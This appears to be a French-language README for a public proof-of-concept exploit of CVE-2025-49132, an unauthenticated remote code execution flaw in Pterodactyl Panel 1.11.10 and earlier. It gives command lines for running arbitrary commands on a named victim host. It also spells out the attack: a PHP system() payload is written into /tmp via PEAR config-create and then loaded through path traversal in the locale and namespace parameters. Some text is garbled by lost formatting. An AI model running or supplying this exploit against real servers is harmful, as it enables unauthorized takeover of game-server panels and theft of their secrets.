dollarboysushil/cve-2025-49132-pterodactyl-panel-unauthenticated-remote-code-execution-rce-Exploit PoC pour CVE-2025-49132 (GHSA-24wv-6c99-f843) – Exécution de code à distance non authentifiée dans Pterodactyl Panel ≤ 1.11.10
Pterodactyl Panel - Exécution de code à distance non authentifiée (RCE)
CVE‑2025‑49132 est une vulnérabilité critique d'exécution de code à distance affectant Pterodactyl Panel <= 1.11.10.
Un attaquant non authentifié peut exploiter une validation d'entrée inadéquate dans le point de terminaison /locales/locale.json pour exécuter des commandes système arbitraires.
Corrigé dans la version : 1.11.11
Une exploitation réussie permet :
.env)Sévérité : Critique
La vulnérabilité résulte d'une validation inadéquate de :
localenamespaceUn attaquant peut :
../../../../../)config-create/tmpClassification de la faiblesse : CWE-94 -- Contrôle inadéquat de la génération de code
python3 CVE-2025-49132-dbs.py --target <host> --cmd "<command>" [--path <pear_path>]
python3 CVE-2025-49132-dbs.py --target victim.com --cmd "whoami"
python3 CVE-2025-49132-dbs.py --target 192.168.1.10 --cmd "id" --path /usr/local/lib/php/PEAR
Chemin par défaut :
/usr/share/php/PEAR
Obtenez le chemin correct depuis la page /phpinfo.php
L'attaquant injecte une charge utile PHP malveillante dans /tmp/payload.php en utilisant :
/<?=system('id')?>+/tmp/payload.php
En appelant :
?locale=../../../../../tmp&namespace=payload
Le serveur exécute le PHP injecté.
locale et namespace